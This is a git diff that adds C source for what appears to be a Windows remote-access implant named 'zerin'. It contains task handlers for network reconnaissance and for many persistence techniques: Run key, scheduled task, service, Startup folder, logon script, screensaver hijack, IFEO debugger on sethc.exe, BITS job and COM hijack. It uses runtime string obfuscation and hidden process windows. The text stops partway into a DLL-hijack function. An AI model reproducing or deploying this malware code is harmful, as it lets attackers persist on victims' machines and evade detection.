tcp_size = 0; + ULONG udp_size = 0; + size_t cap = 16384; + size_t len = 0; + char *output = NULL; + DWORD i; + + (void)task; (void)cwd; + + output = (char *)malloc(cap); + if (!output) return -1; + + len += snprintf(output + len, cap - len, + "%-6s %-22s %-22s %-13s %s\n", + "PROTO", "LOCAL", "REMOTE", "STATE", "PID"); + len += snprintf(output + len, cap - len, + "------ ---------------------- ---------------------- ------------- -----\n"); + + // TCP connections + GetTcpTable2(NULL, &tcp_size, FALSE); + if (tcp_size > 0) { + tcp_table = (PMIB_TCPTABLE2)malloc(tcp_size); + if (tcp_table && GetTcpTable2(tcp_table, &tcp_size, TRUE) == NO_ERROR) { + for (i = 0; i < tcp_table->dwNumEntries; i++) { + MIB_TCPROW2 *row = &tcp_table->table[i]; + char local_ip[32], remote_ip[32]; + char local_str[40], remote_str[40]; + + format_ipv4(row->dwLocalAddr, local_ip, sizeof(local_ip)); + format_ipv4(row->dwRemoteAddr, remote_ip, sizeof(remote_ip)); + snprintf(local_str, sizeof(local_str), "%s:%u", + local_ip, ntohs((u_short)row->dwLocalPort)); + snprintf(remote_str, sizeof(remote_str), "%s:%u", + remote_ip, ntohs((u_short)row->dwRemotePort)); + + if (len + 256 >= cap) { + cap *= 2; + char *new_out = (char *)realloc(output, cap); + if (!new_out) break; + output = new_out; + } + + len += snprintf(output + len, cap - len, + "%-6s %-22s %-22s %-13s %lu\n", + "TCP", local_str, remote_str, + tcp_state_str(row->dwState), + (unsigned long)row->dwOwningPid); + } + } + if (tcp_table) free(tcp_table); + } + + // UDP listeners + GetExtendedUdpTable(NULL, &udp_size, FALSE, AF_INET, + UDP_TABLE_OWNER_PID, 0); + if (udp_size > 0) { + udp_table = (PMIB_UDPTABLE_OWNER_PID)malloc(udp_size); + if (udp_table && GetExtendedUdpTable(udp_table, &udp_size, TRUE, + AF_INET, UDP_TABLE_OWNER_PID, 0) == NO_ERROR) { + for (i = 0; i < udp_table->dwNumEntries; i++) { + MIB_UDPROW_OWNER_PID *row = &udp_table->table[i]; + char local_ip[32], local_str[40]; + + format_ipv4(row->dwLocalAddr, local_ip, sizeof(local_ip)); + snprintf(local_str, sizeof(local_str), "%s:%u", + local_ip, ntohs((u_short)row->dwLocalPort)); + + if (len + 256 >= cap) { + cap *= 2; + char *new_out = (char *)realloc(output, cap); + if (!new_out) break; + output = new_out; + } + + len += snprintf(output + len, cap - len, + "%-6s %-22s %-22s %-13s %lu\n", + "UDP", local_str, "*:*", "", + (unsigned long)row->dwOwningPid); + } + } + if (udp_table) free(udp_table); + } + + output[len] = '\0'; + result->success = true; + result->output = output; + return 0; +} + +int cmd_ifconfig(const task_t *task, task_result_t *result, char *cwd) { + ULONG buf_len = 0; + IP_ADAPTER_INFO *adapters = NULL; + IP_ADAPTER_INFO *a; + size_t cap = 8192; + size_t len = 0; + char *output = NULL; + + (void)task; (void)cwd; + + // First call to get required buffer size + GetAdaptersInfo(NULL, &buf_len); + if (buf_len == 0) { + result->success = false; + result->error_message = _strdup("No adapters found"); + return -1; + } + + adapters = (IP_ADAPTER_INFO *)malloc(buf_len); + if (!adapters) return -1; + + if (GetAdaptersInfo(adapters, &buf_len) != NO_ERROR) { + free(adapters); + result->success = false; + result->error_message = _strdup("GetAdaptersInfo failed"); + return -1; + } + + output = (char *)malloc(cap); + if (!output) { free(adapters); return -1; } + + for (a = adapters; a != NULL; a = a->Next) { + IP_ADDR_STRING *ip; + + if (len + 1024 >= cap) { + cap *= 2; + char *new_out = (char *)realloc(output, cap); + if (!new_out) break; + output = new_out; + } + + len += snprintf(output + len, cap - len, + "\n--- %s ---\n", a->Description); + len += snprintf(output + len, cap - len, + " Adapter: %s\n", a->AdapterName); + + // MAC address + if (a->AddressLength > 0) { + UINT i; + len += snprintf(output + len, cap - len, " MAC: "); + for (i = 0; i < a->AddressLength; i++) { + len += snprintf(output + len, cap - len, + "%02X%s", a->Address[i], + i < a->AddressLength - 1 ? ":" : ""); + } + len += snprintf(output + len, cap - len, "\n"); + } + + // IP addresses (linked list) + for (ip = &a->IpAddressList; ip != NULL; ip = ip->Next) { + if (strcmp(ip->IpAddress.String, "0.0.0.0") != 0) { + len += snprintf(output + len, cap - len, + " IPv4: %s\n", ip->IpAddress.String); + len += snprintf(output + len, cap - len, + " Mask: %s\n", ip->IpMask.String); + } + } + + // Gateway + if (strcmp(a->GatewayList.IpAddress.String, "0.0.0.0") != 0) { + len += snprintf(output + len, cap - len, + " Gateway: %s\n", a->GatewayList.IpAddress.String); + } + + // DHCP + if (a->DhcpEnabled) { + len += snprintf(output + len, cap - len, + " DHCP: %s\n", a->DhcpServer.IpAddress.String); + } + } + + free(adapters); + output[len] = '\0'; + result->success = true; + result->output = output; + return 0; +} + +#endif // _WIN32 diff --git a/src/commands/persist.c b/src/commands/persist.c new file mode 100755 index 0000000..3bfef19 --- /dev/null +++ b/src/commands/persist.c @@ -0,0 +1,269 @@ +#include "zerin.h" +#include "obf_strings_gen.h" +#include +#include +#include + +#ifdef _WIN32 + +int cmd_persist_runkey(const task_t *task, task_result_t *result, char *cwd) { + HKEY hkey = NULL; + LONG status; + char exe_path[MAX_PATH]; + char value_name_buf[64]; + char subkey_buf[128]; + const char *value_name; + const char *subkey; + + (void)cwd; + + // Decrypt default strings + obf_decrypt_to(OBF_ZERIN_UPDATE, value_name_buf, sizeof(value_name_buf)); + obf_decrypt_to(OBF_RUN_KEY_PATH, subkey_buf, sizeof(subkey_buf)); + value_name = value_name_buf; + subkey = subkey_buf; + + // Get our own executable path + DWORD path_len = GetModuleFileNameA(NULL, exe_path, MAX_PATH); + if (path_len == 0 || path_len >= MAX_PATH) { + obf_wipe(value_name_buf, sizeof(value_name_buf)); + obf_wipe(subkey_buf, sizeof(subkey_buf)); + result->success = false; + result->error_code = (int32_t)GetLastError(); + result->error_message = _strdup("Failed to get module path"); + return -1; + } + + // Allow custom value name + if (task->num_args >= 1 && task->args[0]) + value_name = task->args[0]; + + status = RegOpenKeyExA(HKEY_CURRENT_USER, subkey, 0, KEY_WRITE, &hkey); + if (status != ERROR_SUCCESS) { + obf_wipe(value_name_buf, sizeof(value_name_buf)); + obf_wipe(subkey_buf, sizeof(subkey_buf)); + result->success = false; + result->error_code = (int32_t)status; + result->error_message = _strdup("Failed to open Run key"); + return -1; + } + + status = RegSetValueExA(hkey, value_name, 0, REG_SZ, + (const BYTE *)exe_path, + (DWORD)(strlen(exe_path) + 1)); + RegCloseKey(hkey); + + if (status != ERROR_SUCCESS) { + obf_wipe(value_name_buf, sizeof(value_name_buf)); + obf_wipe(subkey_buf, sizeof(subkey_buf)); + result->success = false; + result->error_code = (int32_t)status; + result->error_message = _strdup("Failed to set Run value"); + return -1; + } + + char msg[512]; + snprintf(msg, sizeof(msg), + "OK: HKCU\\%s\\%s = %s", + subkey, value_name, exe_path); + obf_wipe(value_name_buf, sizeof(value_name_buf)); + obf_wipe(subkey_buf, sizeof(subkey_buf)); + result->success = true; + result->output = _strdup(msg); + return 0; +} + +int cmd_persist_schtask(const task_t *task, task_result_t *result, char *cwd) { + char exe_path[MAX_PATH]; + char cmd_line[1024]; + char task_name_buf[64]; + const char *task_name; + const char *interval_min = "60"; + + obf_decrypt_to(OBF_ZERIN_MAINTENANCE, task_name_buf, sizeof(task_name_buf)); + task_name = task_name_buf; + STARTUPINFOA si; + PROCESS_INFORMATION pi; + + (void)cwd; + + { + DWORD path_len = GetModuleFileNameA(NULL, exe_path, MAX_PATH); + if (path_len == 0 || path_len >= MAX_PATH) { + obf_wipe(task_name_buf, sizeof(task_name_buf)); + result->success = false; + result->error_code = (int32_t)GetLastError(); + result->error_message = _strdup("Failed to get module path"); + return -1; + } + } + + if (task->num_args >= 1 && task->args[0]) + task_name = task->args[0]; + if (task->num_args >= 2 && task->args[1]) + interval_min = task->args[1]; + + /* Validate interval_min is purely numeric (prevent command injection) */ + { + const char *p = interval_min; + while (*p) { + if (*p < '0' || *p > '9') { + obf_wipe(task_name_buf, sizeof(task_name_buf)); + result->success = false; + result->error_code = -1; + result->error_message = _strdup("Invalid interval: must be numeric"); + return -1; + } + p++; + } + } + + /* Validate task_name contains no shell metacharacters */ + { + const char *p = task_name; + while (*p) { + if (*p == '&' || *p == '|' || *p == '>' || *p == '<' || + *p == '^' || *p == '%' || *p == '!' || *p == '`' || + *p == '\n' || *p == '\r') { + obf_wipe(task_name_buf, sizeof(task_name_buf)); + result->success = false; + result->error_code = -1; + result->error_message = _strdup("Invalid task name: contains shell metacharacters"); + return -1; + } + p++; + } + } + + { + char schtasks_fmt[256]; + obf_decrypt_to(OBF_SCHTASKS_FMT, schtasks_fmt, sizeof(schtasks_fmt)); + snprintf(cmd_line, sizeof(cmd_line), schtasks_fmt, + task_name, exe_path, interval_min); + obf_wipe(schtasks_fmt, sizeof(schtasks_fmt)); + } + + memset(&si, 0, sizeof(si)); + si.cb = sizeof(si); + si.dwFlags = STARTF_USESHOWWINDOW; + si.wShowWindow = SW_HIDE; + memset(&pi, 0, sizeof(pi)); + + if (!CreateProcessA(NULL, cmd_line, NULL, NULL, FALSE, + CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { + obf_wipe(task_name_buf, sizeof(task_name_buf)); + result->success = false; + result->error_code = (int32_t)GetLastError(); + result->error_message = _strdup("ERR 101: process create"); + return -1; + } + + WaitForSingleObject(pi.hProcess, 15000); + + DWORD exit_code = 1; + GetExitCodeProcess(pi.hProcess, &exit_code); + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + + if (exit_code != 0) { + obf_wipe(task_name_buf, sizeof(task_name_buf)); + result->success = false; + result->error_code = (int32_t)exit_code; + result->error_message = _strdup("ERR 102: non-zero exit code"); + return -1; + } + + char msg[512]; + snprintf(msg, sizeof(msg), + "Scheduled task '%s' created (every %s minutes): %s", + task_name, interval_min, exe_path); + obf_wipe(task_name_buf, sizeof(task_name_buf)); + result->success = true; + result->output = _strdup(msg); + return 0; +} + +int cmd_persist_service(const task_t *task, task_result_t *result, char *cwd) { + char exe_path[MAX_PATH]; + char svc_name_buf[64]; + char display_name_buf[64]; + const char *svc_name; + const char *display_name; + SC_HANDLE sc_manager = NULL; + SC_HANDLE sc_service = NULL; + + (void)cwd; + + obf_decrypt_to(OBF_ZERIN_SVC, svc_name_buf, sizeof(svc_name_buf)); + obf_decrypt_to(OBF_ZERIN_DISPLAY, display_name_buf, sizeof(display_name_buf)); + svc_name = svc_name_buf; + display_name = display_name_buf; + + { + DWORD path_len = GetModuleFileNameA(NULL, exe_path, MAX_PATH); + if (path_len == 0 || path_len >= MAX_PATH) { + obf_wipe(svc_name_buf, sizeof(svc_name_buf)); + obf_wipe(display_name_buf, sizeof(display_name_buf)); + result->success = false; + result->error_code = (int32_t)GetLastError(); + result->error_message = _strdup("Failed to get module path"); + return -1; + } + } + + if (task->num_args >= 1 && task->args[0]) + svc_name = task->args[0]; + if (task->num_args >= 2 && task->args[1]) + display_name = task->args[1]; + + sc_manager = OpenSCManagerA(NULL, NULL, SC_MANAGER_CREATE_SERVICE); + if (!sc_manager) { + obf_wipe(svc_name_buf, sizeof(svc_name_buf)); + obf_wipe(display_name_buf, sizeof(display_name_buf)); + result->success = false; + result->error_code = (int32_t)GetLastError(); + result->error_message = _strdup("Failed to open SCM (need elevation)"); + return -1; + } + + sc_service = CreateServiceA( + sc_manager, + svc_name, + display_name, + SERVICE_ALL_ACCESS, + SERVICE_WIN32_OWN_PROCESS, + SERVICE_AUTO_START, + SERVICE_ERROR_IGNORE, + exe_path, + NULL, NULL, NULL, NULL, NULL + ); + + if (!sc_service) { + DWORD err = GetLastError(); + CloseServiceHandle(sc_manager); + obf_wipe(svc_name_buf, sizeof(svc_name_buf)); + obf_wipe(display_name_buf, sizeof(display_name_buf)); + result->success = false; + result->error_code = (int32_t)err; + if (err == ERROR_SERVICE_EXISTS) + result->error_message = _strdup("Service already exists"); + else + result->error_message = _strdup("Failed to create service"); + return -1; + } + + CloseServiceHandle(sc_service); + CloseServiceHandle(sc_manager); + + char msg[512]; + snprintf(msg, sizeof(msg), + "Service '%s' (%s) created with AUTO_START: %s", + svc_name, display_name, exe_path); + obf_wipe(svc_name_buf, sizeof(svc_name_buf)); + obf_wipe(display_name_buf, sizeof(display_name_buf)); + result->success = true; + result->output = _strdup(msg); + return 0; +} + +#endif // _WIN32 diff --git a/src/commands/persist_advanced.c b/src/commands/persist_advanced.c new file mode 100755 index 0000000..9fb387a --- /dev/null +++ b/src/commands/persist_advanced.c @@ -0,0 +1,974 @@ +#include "zerin.h" +#include "obf_strings_gen.h" +#include +#include +#include + +#ifdef _WIN32 + +#include /* SHGetFolderPathA */ + +/* Validate a string contains no shell metacharacters (&|><^%!`\n\r) */ +static int is_shell_safe(const char *s) { + while (*s) { + if (*s == '&' || *s == '|' || *s == '>' || *s == '<' || + *s == '^' || *s == '%' || *s == '!' || *s == '`' || + *s == '\'' || *s == '\n' || *s == '\r') + return 0; + s++; + } + return 1; +} + +/* Validate a string is purely numeric digits */ +static int is_numeric(const char *s) { + if (!*s) return 0; + while (*s) { + if (*s < '0' || *s > '9') return 0; + s++; + } + return 1; +} + +/* Validate a string is a simple filename (no path separators or shell chars) */ +static int is_simple_filename(const char *s) { + if (!*s) return 0; + while (*s) { + if (*s == '\\' || *s == '/' || *s == ':' || *s == '*' || + *s == '?' || *s == '"' || *s == '<' || *s == '>' || + *s == '|' || *s == '&' || *s == '\n' || *s == '\r') + return 0; + s++; + } + return 1; +} + +/* ------------------------------------------------------------------ */ +/* 1. persist_startup — Copy exe to Startup folder (user-level) */ +/* ------------------------------------------------------------------ */ +int cmd_persist_startup(const task_t *task, task_result_t *result, char *cwd) { + char exe_path[MAX_PATH]; + char startup_dir[MAX_PATH]; + char dest_path[MAX_PATH]; + char filename_buf[64]; + const char *filename; + + obf_decrypt_to(OBF_ZERIN_UPDATE_EXE, filename_buf, sizeof(filename_buf)); + filename = filename_buf; + + (void)cwd; + + { + DWORD path_len = GetModuleFileNameA(NULL, exe_path, MAX_PATH); + if (path_len == 0 || path_len >= MAX_PATH) { + obf_wipe(filename_buf, sizeof(filename_buf)); + result->success = false; + result->error_code = (int32_t)GetLastError(); + result->error_message = _strdup("Failed to get module path"); + return -1; + } + } + + if (task->num_args >= 1 && task->args[0]) { + if (!is_simple_filename(task->args[0])) { + obf_wipe(filename_buf, sizeof(filename_buf)); + result->success = false; + result->error_code = -1; + result->error_message = _strdup("Invalid filename: must be a simple filename (no path separators)"); + return -1; + } + filename = task->args[0]; + obf_wipe(filename_buf, sizeof(filename_buf)); + } + + if (FAILED(SHGetFolderPathA(NULL, CSIDL_STARTUP, NULL, 0, startup_dir))) { + result->success = false; + result->error_code = -1; + result->error_message = _strdup("Failed to get Startup folder path"); + return -1; + } + + snprintf(dest_path, sizeof(dest_path), "%s\\%s", startup_dir, filename); + + if (!CopyFileA(exe_path, dest_path, FALSE)) { + result->success = false; + result->error_code = (int32_t)GetLastError(); + result->error_message = _strdup("Failed to copy exe to Startup folder"); + return -1; + } + + obf_wipe(filename_buf, sizeof(filename_buf)); + char msg[512]; + snprintf(msg, sizeof(msg), "Copied to Startup folder: %s", dest_path); + result->success = true; + result->output = _strdup(msg); + return 0; +} + +/* ------------------------------------------------------------------ */ +/* 2. persist_logonscript — UserInitMprLogonScript (user-level) */ +/* ------------------------------------------------------------------ */ +int cmd_persist_logonscript(const task_t *task, task_result_t *result, char *cwd) { + HKEY hkey = NULL; + LONG status; + char exe_path[MAX_PATH]; + char subkey_buf[64]; + char value_name_buf[64]; + const char *subkey; + const char *value_name; + + obf_decrypt_to(OBF_ENVIRONMENT, subkey_buf, sizeof(subkey_buf)); + obf_decrypt_to(OBF_LOGON_SCRIPT, value_name_buf, sizeof(value_name_buf)); + subkey = subkey_buf; + value_name = value_name_buf; + + (void)cwd; + (void)task; + + { + DWORD path_len = GetModuleFileNameA(NULL, exe_path, MAX_PATH); + if (path_len == 0 || path_len >= MAX_PATH) { + obf_wipe(subkey_buf, sizeof(subkey_buf)); + obf_wipe(value_name_buf, sizeof(value_name_buf)); + result->success = false; + result->error_code = (int32_t)GetLastError(); + result->error_message = _strdup("Failed to get module path"); + return -1; + } + } + + status = RegOpenKeyExA(HKEY_CURRENT_USER, subkey, 0, KEY_WRITE, &hkey); + if (status != ERROR_SUCCESS) { + /* Key may not exist, try to create it */ + status = RegCreateKeyExA(HKEY_CURRENT_USER, subkey, 0, NULL, + REG_OPTION_NON_VOLATILE, KEY_WRITE, + NULL, &hkey, NULL); + if (status != ERROR_SUCCESS) { + obf_wipe(subkey_buf, sizeof(subkey_buf)); + obf_wipe(value_name_buf, sizeof(value_name_buf)); + result->success = false; + result->error_code = (int32_t)status; + result->error_message = _strdup("Failed to open/create Environment key"); + return -1; + } + } + + status = RegSetValueExA(hkey, value_name, 0, REG_SZ, + (const BYTE *)exe_path, + (DWORD)(strlen(exe_path) + 1)); + RegCloseKey(hkey); + + if (status != ERROR_SUCCESS) { + obf_wipe(subkey_buf, sizeof(subkey_buf)); + obf_wipe(value_name_buf, sizeof(value_name_buf)); + result->success = false; + result->error_code = (int32_t)status; + result->error_message = _strdup("Failed to set logon script value"); + return -1; + } + + char msg[512]; + snprintf(msg, sizeof(msg), + "Logon script set: HKCU\\%s\\%s = %s", + subkey, value_name, exe_path); + obf_wipe(subkey_buf, sizeof(subkey_buf)); + obf_wipe(value_name_buf, sizeof(value_name_buf)); + result->success = true; + result->output = _strdup(msg); + return 0; +} + +/* ------------------------------------------------------------------ */ +/* 3. persist_screensaver — Screensaver hijack (user-level) */ +/* ------------------------------------------------------------------ */ +int cmd_persist_screensaver(const task_t *task, task_result_t *result, char *cwd) { + HKEY hkey = NULL; + LONG status; + char exe_path[MAX_PATH]; + char subkey_buf[64]; + const char *subkey; + const char *timeout = "900"; + + obf_decrypt_to(OBF_DESKTOP_PATH, subkey_buf, sizeof(subkey_buf)); + subkey = subkey_buf; + + (void)cwd; + + { + DWORD path_len = GetModuleFileNameA(NULL, exe_path, MAX_PATH); + if (path_len == 0 || path_len >= MAX_PATH) { + obf_wipe(subkey_buf, sizeof(subkey_buf)); + result->success = false; + result->error_code = (int32_t)GetLastError(); + result->error_message = _strdup("Failed to get module path"); + return -1; + } + } + + if (task->num_args >= 1 && task->args[0]) + timeout = task->args[0]; + + /* Validate timeout is purely numeric */ + if (!is_numeric(timeout)) { + obf_wipe(subkey_buf, sizeof(subkey_buf)); + result->success = false; + result->error_code = -1; + result->error_message = _strdup("Invalid timeout: must be numeric"); + return -1; + } + + status = RegOpenKeyExA(HKEY_CURRENT_USER, subkey, 0, KEY_WRITE, &hkey); + if (status != ERROR_SUCCESS) { + result->success = false; + result->error_code = (int32_t)status; + result->error_message = _strdup("Failed to open Desktop key"); + return -1; + } + + /* Set SCRNSAVE.EXE */ + { + char scrn_buf[32], ssa_buf[32], sst_buf[32]; + obf_decrypt_to(OBF_SCRNSAVE, scrn_buf, sizeof(scrn_buf)); + obf_decrypt_to(OBF_SCREEN_SAVE_ACTIVE, ssa_buf, sizeof(ssa_buf)); + obf_decrypt_to(OBF_SCREEN_SAVE_TIMEOUT, sst_buf, sizeof(sst_buf)); + + status = RegSetValueExA(hkey, scrn_buf, 0, REG_SZ, + (const BYTE *)exe_path, + (DWORD)(strlen(exe_path) + 1)); + if (status != ERROR_SUCCESS) { + obf_wipe(scrn_buf, sizeof(scrn_buf)); + obf_wipe(ssa_buf, sizeof(ssa_buf)); + obf_wipe(sst_buf, sizeof(sst_buf)); + obf_wipe(subkey_buf, sizeof(subkey_buf)); + RegCloseKey(hkey); + result->success = false; + result->error_code = (int32_t)status; + result->error_message = _strdup("ERR 301: reg write"); + return -1; + } + + /* Enable screensaver */ + RegSetValueExA(hkey, ssa_buf, 0, REG_SZ, + (const BYTE *)"1", 2); + + /* Set timeout */ + RegSetValueExA(hkey, sst_buf, 0, REG_SZ, + (const BYTE *)timeout, + (DWORD)(strlen(timeout) + 1)); + + obf_wipe(scrn_buf, sizeof(scrn_buf)); + obf_wipe(ssa_buf, sizeof(ssa_buf)); + obf_wipe(sst_buf, sizeof(sst_buf)); + } + + RegCloseKey(hkey); + + obf_wipe(subkey_buf, sizeof(subkey_buf)); + char msg[512]; + snprintf(msg, sizeof(msg), + "Screensaver hijack set: %s (timeout: %s sec)", exe_path, timeout); + result->success = true; + result->output = _strdup(msg); + return 0; +} + +/* ------------------------------------------------------------------ */ +/* 4. persist_ifeo — Image File Execution Options debugger (admin) */ +/* ------------------------------------------------------------------ */ +int cmd_persist_ifeo(const task_t *task, task_result_t *result, char *cwd) { + HKEY hkey = NULL; + LONG status; + char exe_path[MAX_PATH]; + char subkey[512]; + char ifeo_base[128]; + char target_buf[64]; + obf_decrypt_to(OBF_SETHC_EXE, target_buf, sizeof(target_buf)); + const char *target = target_buf; + + (void)cwd; + + { + DWORD path_len = GetModuleFileNameA(NULL, exe_path, MAX_PATH); + if (path_len == 0 || path_len >= MAX_PATH) { + obf_wipe(target_buf, sizeof(target_buf)); + result->success = false; + result->error_code = (int32_t)GetLastError(); + result->error_message = _strdup("Failed to get module path"); + return -1; + } + } + + if (task->num_args >= 1 && task->args[0]) { + target = task->args[0]; + obf_wipe(target_buf, sizeof(target_buf)); + } + + /* Validate custom target is a simple filename (no path traversal) */ + if (task->num_args >= 1 && task->args[0]) { + if (!is_simple_filename(target)) { + result->success = false; + result->error_code = -1; + result->error_message = _strdup("ERR 302: invalid target (simple filename required)"); + return -1; + } + } + + obf_decrypt_to(OBF_SETHC_IFEO, ifeo_base, sizeof(ifeo_base)); + /* Extract the base path (up to sethc.exe) and rebuild if custom target */ + if (task->num_args >= 1 && task->args[0]) { + /* Build path for custom target */ + char *last_sep = strrchr(ifeo_base, '\\'); + if (last_sep) { + *(last_sep + 1) = '\0'; + snprintf(subkey, sizeof(subkey), "%s%s", ifeo_base, target); + } else { + snprintf(subkey, sizeof(subkey), "%s", ifeo_base); + } + } else { + strncpy(subkey, ifeo_base, sizeof(subkey) - 1); + subkey[sizeof(subkey) - 1] = '\0'; + } + obf_wipe(ifeo_base, sizeof(ifeo_base)); + + status = RegCreateKeyExA(HKEY_LOCAL_MACHINE, subkey, 0, NULL, + REG_OPTION_NON_VOLATILE, KEY_WRITE, + NULL, &hkey, NULL); + if (status != ERROR_SUCCESS) { + result->success = false; + result->error_code = (int32_t)status; + result->error_message = _strdup("Failed to create IFEO key (need elevation)"); + return -1; + } + + char dbg_buf[32]; + obf_decrypt_to(OBF_DEBUGGER, dbg_buf, sizeof(dbg_buf)); + status = RegSetValueExA(hkey, dbg_buf, 0, REG_SZ, + (const BYTE *)exe_path, + (DWORD)(strlen(exe_path) + 1)); + obf_wipe(dbg_buf, sizeof(dbg_buf)); + RegCloseKey(hkey); + + if (status != ERROR_SUCCESS) { + result->success = false; + result->error_code = (int32_t)status; + result->error_message = _strdup("Failed to set Debugger value"); + return -1; + } + + char msg[512]; + snprintf(msg, sizeof(msg), + "IFEO debugger set: HKLM\\...\\%s\\Debugger = %s", + target, exe_path); + result->success = true; + result->output = _strdup(msg); + return 0; +} + +/* ------------------------------------------------------------------ */ +/* 5. persist_bits — BITS job with notification command (user-level) */ +/* ------------------------------------------------------------------ */ +int cmd_persist_bits(const task_t *task, task_result_t *result, char *cwd) { + char exe_path[MAX_PATH]; + char cmd_line[2048]; + char job_name_buf[64]; + const char *job_name; + + obf_decrypt_to(OBF_ZERIN_TRANSFER, job_name_buf, sizeof(job_name_buf)); + job_name = job_name_buf; + STARTUPINFOA si; + PROCESS_INFORMATION pi; + DWORD exit_code; + + (void)cwd; + + { + DWORD path_len = GetModuleFileNameA(NULL, exe_path, MAX_PATH); + if (path_len == 0 || path_len >= MAX_PATH) { + result->success = false; + result->error_code = (int32_t)GetLastError(); + result->error_message = _strdup("Failed to get module path"); + return -1; + } + } + + if (task->num_args >= 1 && task->args[0]) { + job_name = task->args[0]; + obf_wipe(job_name_buf, sizeof(job_name_buf)); + } + + /* Validate job_name contains no shell metacharacters */ + if (!is_shell_safe(job_name)) { + obf_wipe(job_name_buf, sizeof(job_name_buf)); + result->success = false; + result->error_code = -1; + result->error_message = _strdup("Invalid job name: contains shell metacharacters"); + return -1; + } + + /* Chain bitsadmin commands: create, addfile (dummy), set notify cmd, set timeouts, resume */ + { + char bits_fmt[1024]; + obf_decrypt_to(OBF_BITS_CHAIN_FMT, bits_fmt, sizeof(bits_fmt)); + snprintf(cmd_line, sizeof(cmd_line), bits_fmt, + job_name, job_name, job_name, exe_path, job_name, job_name, job_name); + obf_wipe(bits_fmt, sizeof(bits_fmt)); + } + + memset(&si, 0, sizeof(si)); + si.cb = sizeof(si); + si.dwFlags = STARTF_USESHOWWINDOW; + si.wShowWindow = SW_HIDE; + memset(&pi, 0, sizeof(pi)); + + if (!CreateProcessA(NULL, cmd_line, NULL, NULL, FALSE, + CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { + result->success = false; + result->error_code = (int32_t)GetLastError(); + result->error_message = _strdup("ERR 303: process create"); + return -1; + } + + WaitForSingleObject(pi.hProcess, 30000); + GetExitCodeProcess(pi.hProcess, &exit_code); + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + + if (exit_code != 0) { + obf_wipe(job_name_buf, sizeof(job_name_buf)); + char errmsg[256]; + snprintf(errmsg, sizeof(errmsg), + "ERR 304: exit code %lu", + (unsigned long)exit_code); + result->success = false; + result->error_code = (int32_t)exit_code; + result->error_message = _strdup(errmsg); + return -1; + } + + char msg[512]; + snprintf(msg, sizeof(msg), + "BITS job '%s' created with notify command: %s", + job_name, exe_path); + obf_wipe(job_name_buf, sizeof(job_name_buf)); + result->success = true; + result->output = _strdup(msg); + return 0; +} + +/* ------------------------------------------------------------------ */ +/* 6. persist_com — COM object hijack via InProcServer32 (user-level) */ +/* ------------------------------------------------------------------ */ +int cmd_persist_com(const task_t *task, task_result_t *result, char *cwd) { + HKEY hkey = NULL; + LONG status; + char exe_path[MAX_PATH]; + char subkey[512]; + /* Default: hijack CLSID for MruPidlList (explorer.exe loads it) */ + const char *clsid = "{42aedc87-2188-41fd-b9a3-0c966feab6b5}"; + + (void)cwd; + + { + DWORD path_len = GetModuleFileNameA(NULL, exe_path, MAX_PATH); + if (path_len == 0 || path_len >= MAX_PATH) { + result->success = false; + result->error_code = (int32_t)GetLastError(); + result->error_message = _strdup("Failed to get module path"); + return -1; + } + } + + if (task->num_args >= 1 && task->args[0]) + clsid = task->args[0]; + + /* Validate CLSID format: {XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX} */ + if (task->num_args >= 1 && task->args[0]) { + const char *c = clsid; + int valid = 1; + /* Must be exactly 38 chars: {8-4-4-4-12} */ + if (strlen(c) != 38 || c[0] != '{' || c[37] != '}' || + c[9] != '-' || c[14] != '-' || c[19] != '-' || c[24] != '-') { + valid = 0; + } else { + /* Check hex chars at expected positions */ + for (int ci = 1; ci < 37 && valid; ci++) { + if (ci == 9 || ci == 14 || ci == 19 || ci == 24) continue; + char ch = c[ci]; + if (!((ch >= '0' && ch <= '9') || (ch >= 'a' && ch <= 'f') || + (ch >= 'A' && ch <= 'F'))) { + valid = 0; + } + } + } + if (!valid) { + result->success = false; + result->error_code = -1; + result->error_message = _strdup("Invalid CLSID format (expected {XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX})"); + return -1; + } + snprintf(subkey, sizeof(subkey), + "Software\\Classes\\CLSID\\%s\\InProcServer32", clsid); + } else { + obf_decrypt_to(OBF_COM_CLSID_PATH, subkey, sizeof(subkey)); + } + + status = RegCreateKeyExA(HKEY_CURRENT_USER, subkey, 0, NULL, + REG_OPTION_NON_VOLATILE, KEY_WRITE, + NULL, &hkey, NULL); + if (status != ERROR_SUCCESS) { + result->success = false; + result->error_code = (int32_t)status; + result->error_message = _strdup("Failed to create COM hijack key"); + return -1; + } + + /* Set default value to our DLL/exe path */ + status = RegSetValueExA(hkey, NULL, 0, REG_SZ, + (const BYTE *)exe_path, + (DWORD)(strlen(exe_path) + 1)); + if (status == ERROR_SUCCESS) { + /* Set threading model */ + char tm_buf[32]; + obf_decrypt_to(OBF_THREADING_MODEL, tm_buf, sizeof(tm_buf)); + const char *model = "Both"; + RegSetValueExA(hkey, tm_buf, 0, REG_SZ, + (const BYTE *)model, + (DWORD)(strlen(model) + 1)); + obf_wipe(tm_buf, sizeof(tm_buf)); + } + + RegCloseKey(hkey); + + if (status != ERROR_SUCCESS) { + result->success = false; + result->error_code = (int32_t)status; + result->error_message = _strdup("Failed to set COM InProcServer32 value"); + return -1; + } + + char msg[512]; + snprintf(msg, sizeof(msg), + "COM hijack set: HKCU\\...\\%s\\InProcServer32 = %s", + clsid, exe_path); + result->success = true; + result->output = _strdup(msg); + return 0; +} + +/* ------------------------------------------------------------------ */ +/* 7. persist_dllhijack — DLL search order hijack (user-level) */ +/* ------------------------------------------------------------------ */ +int cmd_persist_dllhijack(const task_t *task, task_result_t *result, char *cwd) { + char exe_path[MAX_PATH]; + char dest_path[MAX_PATH]; + const char *target_dir = NULL; + char dll_name_buf[32]; + obf_decrypt_to(OBF_VERSION_DLL, dll_name_buf, sizeof(dll_name_buf)); + const char *dll_name = dll_name_buf; + + (void)cwd; + + { + DWORD path_len = GetModuleFileNameA(NULL, exe_path, MAX_PATH); + if (path_len == 0 || path_len >= MAX_PATH) { + result->success = false; + result->error_code = (int32_t)GetLastError(); + result->error_message = _strdup("Failed to get module path"); + return -1; + } + } + + /* args[0] = target directory, args[1] = dll name */ + if (task->num_args >= 1 && task->args[0]) + target_dir = task->args[0]; + else { + result->success = false; + result->error_code = -1; + result->error_message = _strdup("bad args: [dll_name]"); + return -1; + } + + if (task->num_args >= 2 && task->args[1]) { + 